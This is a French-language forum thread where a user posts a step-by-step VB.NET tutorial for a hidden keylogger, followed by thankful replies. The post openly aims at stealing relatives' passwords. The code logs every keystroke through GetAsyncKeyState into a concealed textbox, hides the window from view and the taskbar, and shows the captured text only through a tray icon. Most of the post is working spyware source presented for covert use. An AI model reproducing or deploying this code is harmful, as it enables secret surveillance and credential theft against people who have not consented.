va pour enregistrer les frappes (j'ai reçu un coup)

mars073

Bonjour,je vais vous expliquez comment faire un enregistreur de frappe.^^pour trouver le mot de passe de votre frère, votre mère, votre grand-père ou votre hamster...Il faut:-1 Form (Config: ShownInTaskbar=False; RightToLeftLayout=True; FormBorderStyle=None; Size=0; 0)-1 Textbox (Config: visible=False) (Ancrer le textbox en fessant un clique sur le petit carré avec un triangle dessus)-2 Timer (Config T1: Enabled=True; Interval=2) (Config T3: Enabled=True; Interval=100)-1 NotifyIcon (Config: Icon=[votre Icône Windows)-1 Icône windows de préférenceKDO:un lien vers un site plein d'icône cool:<a href="http://icones.pro/windows-4-image-png.html" rel="external nofollow">->Lien<- (lien icone windows)</a>et c'est partit pour le code... u_udouble clique sur la form pour afficher le code (oublier pas que il y a les textbox dessus, donc retirez le le temps de mettre le code) et au dessus, donc après Public Class [votre form]:<pre class="ipsCode prettyprint lang-auto">Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer</pre>et dans l'handle (le code form_load):<pre class="ipsCode prettyprint lang-auto">Timer1.Start()
Timer2.Start()
Me.Visible = False</pre>maintenant double clique sur le timer1 pour afficher le code et on met dedans :<pre class="ipsCode prettyprint lang-auto">For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i) ' on ajout le caractère qui est envoyé par le clavier à la suite de deux déjà capté
End If
Next i</pre>Double clique sur le NotifyIcon1 pour afficher le code et on met dedans :<pre class="ipsCode prettyprint lang-auto">Me.WindowState = FormWindowState.Normal
Me.Height = 300 ' hauteur
Me.Width = 300 'largeur
Me.ShowInTaskbar = True 'affichage dans la barre de tâche
Me.FormBorderStyle = Windows.Forms.FormBorderStyle.Sizable ' style de bords...
Me.Visible = True ' si on l'affiche
TextBox1.Visible = True ' si on affiche les caractères masqués
Me.AllowTransparency = False
Me.RightToLeft = Windows.Forms.RightToLeft.Inherit
Me.Show()
</pre>Double clique sur le Timer2 pour afficher le code et on met dedans :<pre class="ipsCode prettyprint lang-auto"> If Me.WindowState = FormWindowState.Minimized Then 'on test l'état de la fenêtre
Me.Height = 0 'plein de paramètre chiant à expliquer
Me.Width = 0
Me.ShowInTaskbar = False
Me.FormBorderStyle = Windows.Forms.FormBorderStyle.None
Me.Visible = False
TextBox1.Visible = False
Me.AllowTransparency = True
Me.RightToLeft = Windows.Forms.RightToLeft.Inherit
'code by Mars073
End If</pre>si vous cliquez sur play pour tester le programme il ne marchera par forcément, il faut le publier... les frappes ne sont pas très facile a lire mais d-quand on clique du effacer, ça ne supprime pas le texte enregistré.^^Et quand on a fini on fait un double clique sur l'icône et le texte enregistré.Bonne programmation à tous!Cordialement,Mars073

Azad

Merci du partage. 
+1 Rep.

Soon

Merci du partage mais essaye d'expliquer le code car la c'est du copier coller bête x)

Azad

Ça reste plutôt explicite, quand même. 
Mais si des explications sont nécessaires, pourquoi pas.

Droby

<blockquote class="ipsQuote" data-cite="mars073" data-ipsquote="" data-ipsquote-contentclass="forums_Topic" data-ipsquote-contentcommentid="1272" data-ipsquote-contentid="118" data-ipsquote-contenttype="forums" data-ipsquote-timestamp="1394744503" data-ipsquote-username="mars073"><div>
<div>
Bonjour,
je vais vous expliquez comment faire un enregistreur de frappe.^^
pour trouver le mot de passe de votre frère, votre mère, votre grand-père ou votre hamster...

</div>
</div></blockquote>
T'as quoi contre les hamster :@
Sympa ! Un peu plus d'explication de code et c'est parfait.

mars073

j'ai ajouté quelques commentaires mais bon comme là dit azad c'est assez explicite je montre juste la captation des entrées du clavier par l'utilisateur en utilisant la librairie windows ._.

NodeBB

va pour enregistrer les frappes (j'ai reçu un coup)